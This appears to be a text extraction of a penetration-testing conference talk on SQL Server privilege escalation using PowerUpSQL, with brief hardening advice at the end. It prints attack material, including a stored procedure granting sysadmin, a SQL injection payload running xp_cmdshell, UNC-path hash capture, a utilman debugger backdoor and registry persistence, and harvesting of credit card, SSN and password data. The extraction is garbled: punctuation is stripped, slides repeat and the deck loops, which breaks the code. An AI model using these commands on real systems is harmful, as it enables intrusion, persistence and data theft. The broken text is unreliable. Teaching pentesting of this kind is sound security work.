USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
